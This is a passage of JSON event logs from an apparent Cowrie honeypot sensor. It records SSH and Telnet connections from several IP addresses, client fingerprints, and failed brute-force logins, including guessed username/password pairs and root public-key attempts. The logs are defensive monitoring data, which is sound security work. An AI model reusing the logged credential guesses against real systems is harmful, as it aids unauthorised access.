mac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:57.953779Z","src_ip":"2.57.122.238","session":"0941d273747b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:58.265106Z","src_ip":"2.57.122.238","session":"0941d273747b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:19:59.371848Z","src_ip":"2.57.122.238","session":"0941d273747b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.22.199","src_port":22248,"dst_ip":"10.17.0.5","dst_port":22,"session":"281ced7515db","protocol":"ssh","message":"New connection: 108.181.22.199:22248 (10.17.0.5:22) [session: 281ced7515db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:20.724174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:20.729159Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:20.803771Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:9c:72:5a:1c:e9:db:ed:0b:a4:d7:32:81:57:31:35","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSNUrN9AtCpvBGAYdPV3tx1EVNgnA07kZt6mGAUSCx4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 07:9c:72:5a:1c:e9:db:ed:0b:a4:d7:32:81:57:31:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.151828Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:9c:72:5a:1c:e9:db:ed:0b:a4:d7:32:81:57:31:35","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSNUrN9AtCpvBGAYdPV3tx1EVNgnA07kZt6mGAUSCx4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.159199Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:89:2d:b1:01:9d:f4:fa:d4:c4:dd:45:7c:fe:69:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjdzBxFFWu6GBZJqBdAYVjdwi46AP0gtY3SxkSiEAVKklMpn7in1/3E6leJWEPTuVs8+dov/2x/2hBmUdbeiOLj1QrtrcUestIrejWW1LbgiamAkDP5UA86G40fz9HOcTPZThzqhBGLACmNvSoWTL/FD/9VioCIzpc8tG9Wre0SA5dw05Xu0Prjr4YvZ7BWpXoS1KDsgYLcwfzL/Bql8xyR37mQ6ewgUbPHPF/QPrQ0IwY3q3bajApbM1eJRZmRPhFXSV7Vmt5Kbq8TJTBa31yUXBNKJIfskI3jvo2KZ5WXBO3PFQ7dtGCBmMu0NtSlGG23K+hqV6OMsn+WurO7W0d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:89:2d:b1:01:9d:f4:fa:d4:c4:dd:45:7c:fe:69:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.233695Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:89:2d:b1:01:9d:f4:fa:d4:c4:dd:45:7c:fe:69:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjdzBxFFWu6GBZJqBdAYVjdwi46AP0gtY3SxkSiEAVKklMpn7in1/3E6leJWEPTuVs8+dov/2x/2hBmUdbeiOLj1QrtrcUestIrejWW1LbgiamAkDP5UA86G40fz9HOcTPZThzqhBGLACmNvSoWTL/FD/9VioCIzpc8tG9Wre0SA5dw05Xu0Prjr4YvZ7BWpXoS1KDsgYLcwfzL/Bql8xyR37mQ6ewgUbPHPF/QPrQ0IwY3q3bajApbM1eJRZmRPhFXSV7Vmt5Kbq8TJTBa31yUXBNKJIfskI3jvo2KZ5WXBO3PFQ7dtGCBmMu0NtSlGG23K+hqV6OMsn+WurO7W0d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.237447Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:92:4f:3e:f8:d0:fd:ee:a4:41:3d:cd:de:1c:e3:58","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIaGYOauDrwMERTl1U2GZJeWR7DyM2gE03cIOlUECTSi","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e2:92:4f:3e:f8:d0:fd:ee:a4:41:3d:cd:de:1c:e3:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.311949Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:92:4f:3e:f8:d0:fd:ee:a4:41:3d:cd:de:1c:e3:58","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIaGYOauDrwMERTl1U2GZJeWR7DyM2gE03cIOlUECTSi","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.316091Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:bd:1b:a7:78:77:7e:08:15:87:0f:39:87:07:32:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxQ/imSalO8BoZ1vMSlE9tD13b/QKpYdRG6r64yWT33YEHMHUgdcyPzeYIDvsTkUtggwWbuxc6ltsS3HYaKv3srkPfInqnZkcan5UxHmEIZwgEbnrserFHiotVPyoiJ/j0c0818BOmhvguTljs63Yj4B3M6fe7cVhKHA/NklmnoEWIFdaC0QGHemYpSA1641NbXjV8qawFDAXeyFglOcsyRBNT96vHYazYXgKoqqTV/eOAfdX/MM5Q7Ahb2JXfyLSCgSOvOJ7lso2Ga3L1qscF+wuWtjl6+bg3cfIHXC9ylm20r8Cp1deSnmSIvfxx+KNeVSSvU8nGXNaxR/7UBlthw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:bd:1b:a7:78:77:7e:08:15:87:0f:39:87:07:32:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.390921Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:bd:1b:a7:78:77:7e:08:15:87:0f:39:87:07:32:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxQ/imSalO8BoZ1vMSlE9tD13b/QKpYdRG6r64yWT33YEHMHUgdcyPzeYIDvsTkUtggwWbuxc6ltsS3HYaKv3srkPfInqnZkcan5UxHmEIZwgEbnrserFHiotVPyoiJ/j0c0818BOmhvguTljs63Yj4B3M6fe7cVhKHA/NklmnoEWIFdaC0QGHemYpSA1641NbXjV8qawFDAXeyFglOcsyRBNT96vHYazYXgKoqqTV/eOAfdX/MM5Q7Ahb2JXfyLSCgSOvOJ7lso2Ga3L1qscF+wuWtjl6+bg3cfIHXC9ylm20r8Cp1deSnmSIvfxx+KNeVSSvU8nGXNaxR/7UBlthw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.394734Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:df:ac:50:b1:23:a7:38:3a:c2:7d:05:e5:e5:36:c4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALssOlUGM+klZpaK3BfI+CmPfGqxMxi0Ue7c/RNiZi9jb9OX833dhg/qhbE5LiqgeUw/9uqGqlaASbAxtM5/YaDZlUba6upalaW8tz3Y0kr3ZhjGT/4tGLlV1CgMLFt6fPC0aJdTRfPfWFGml+7Q57XwLZK8CAAeR+dwJpcl4an9AAAAFQCh5PWoNhVBzquKcQVHGYZi9tYBawAAAIEAgtrmL4qBj6xZPT6ET1IuuC7GeLEhueRSRHhFpG4njAWGGd5E8c+L6Y0LYXq3Wi94r32P/bJWXr6M48vP4pwOiWfJPQCuwNeah3WTqXVbqtlBLFgwBjjhBZM3T4+JzLiwBQxp3BdWKqnSVvrPlsazibkR/In8AJwKGauF62gZ0IsAAACBALIeOK2otTJ7p1wRDbQSu6zQImrGSXJJcfd6aqBf7lGQ+/dLx54ERwk+4Tj/boSUmWZFGBgd9AyV1TjHhnkNPdAzdCooXhO7clBhOAlcGoHmCy6PB1hjuEQrQ70cpKL0mMhn6Z2/6D931cpAR79q9cKwH8A7KzCIjmz/Fn7bdgRJ","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 42:df:ac:50:b1:23:a7:38:3a:c2:7d:05:e5:e5:36:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.469264Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:df:ac:50:b1:23:a7:38:3a:c2:7d:05:e5:e5:36:c4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALssOlUGM+klZpaK3BfI+CmPfGqxMxi0Ue7c/RNiZi9jb9OX833dhg/qhbE5LiqgeUw/9uqGqlaASbAxtM5/YaDZlUba6upalaW8tz3Y0kr3ZhjGT/4tGLlV1CgMLFt6fPC0aJdTRfPfWFGml+7Q57XwLZK8CAAeR+dwJpcl4an9AAAAFQCh5PWoNhVBzquKcQVHGYZi9tYBawAAAIEAgtrmL4qBj6xZPT6ET1IuuC7GeLEhueRSRHhFpG4njAWGGd5E8c+L6Y0LYXq3Wi94r32P/bJWXr6M48vP4pwOiWfJPQCuwNeah3WTqXVbqtlBLFgwBjjhBZM3T4+JzLiwBQxp3BdWKqnSVvrPlsazibkR/In8AJwKGauF62gZ0IsAAACBALIeOK2otTJ7p1wRDbQSu6zQImrGSXJJcfd6aqBf7lGQ+/dLx54ERwk+4Tj/boSUmWZFGBgd9AyV1TjHhnkNPdAzdCooXhO7clBhOAlcGoHmCy6PB1hjuEQrQ70cpKL0mMhn6Z2/6D931cpAR79q9cKwH8A7KzCIjmz/Fn7bdgRJ","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.473071Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:21.549798Z","src_ip":"108.181.22.199","session":"281ced7515db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.564587354660034,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:20:41.524701Z","src_ip":"212.55.149.117","session":"afdc03099ac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":53408,"dst_ip":"159.203.135.109","dst_port":22,"session":"53a3168a5b0b","protocol":"ssh","message":"New connection: 171.231.193.85:53408 (159.203.135.109:22) [session: 53a3168a5b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:19.874826Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":6500,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f122262ee3","protocol":"telnet","message":"New connection: 212.55.149.117:6500 (10.17.0.5:23) [session: 60f122262ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:22.678029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:24.827661Z","src_ip":"171.231.193.85","session":"53a3168a5b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:25.088049Z","src_ip":"171.231.193.85","session":"53a3168a5b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":37888,"dst_ip":"10.17.0.5","dst_port":22,"session":"36c1c12d75fe","protocol":"ssh","message":"New connection: 2.57.122.210:37888 (10.17.0.5:22) [session: 36c1c12d75fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:26.806823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:26.816469Z","src_ip":"2.57.122.210","session":"36c1c12d75fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:26.834857Z","src_ip":"171.231.193.85","session":"53a3168a5b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:26.919049Z","src_ip":"2.57.122.210","session":"36c1c12d75fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:27.580624Z","src_ip":"2.57.122.210","session":"36c1c12d75fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:28.695108Z","src_ip":"2.57.122.210","session":"36c1c12d75fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:28.856004Z","src_ip":"171.231.193.85","session":"53a3168a5b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.52.18","src_port":41068,"dst_ip":"10.17.0.5","dst_port":22,"session":"638f3f783c6f","protocol":"ssh","message":"New connection: 45.61.52.18:41068 (10.17.0.5:22) [session: 638f3f783c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:32.978331Z"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:44.607321Z","src_ip":"45.61.52.18","session":"638f3f783c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":44582,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd4cbc39f15c","protocol":"ssh","message":"New connection: 2.57.122.238:44582 (10.17.0.5:22) [session: fd4cbc39f15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:51.645753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:51.650433Z","src_ip":"2.57.122.238","session":"fd4cbc39f15c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:51.751549Z","src_ip":"2.57.122.238","session":"fd4cbc39f15c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:52.053958Z","src_ip":"2.57.122.238","session":"fd4cbc39f15c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:21:53.158050Z","src_ip":"2.57.122.238","session":"fd4cbc39f15c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":11165,"dst_ip":"159.203.135.109","dst_port":22,"session":"1034232eeb57","protocol":"ssh","message":"New connection: 193.24.211.100:11165 (159.203.135.109:22) [session: 1034232eeb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:22:07.885481Z"}
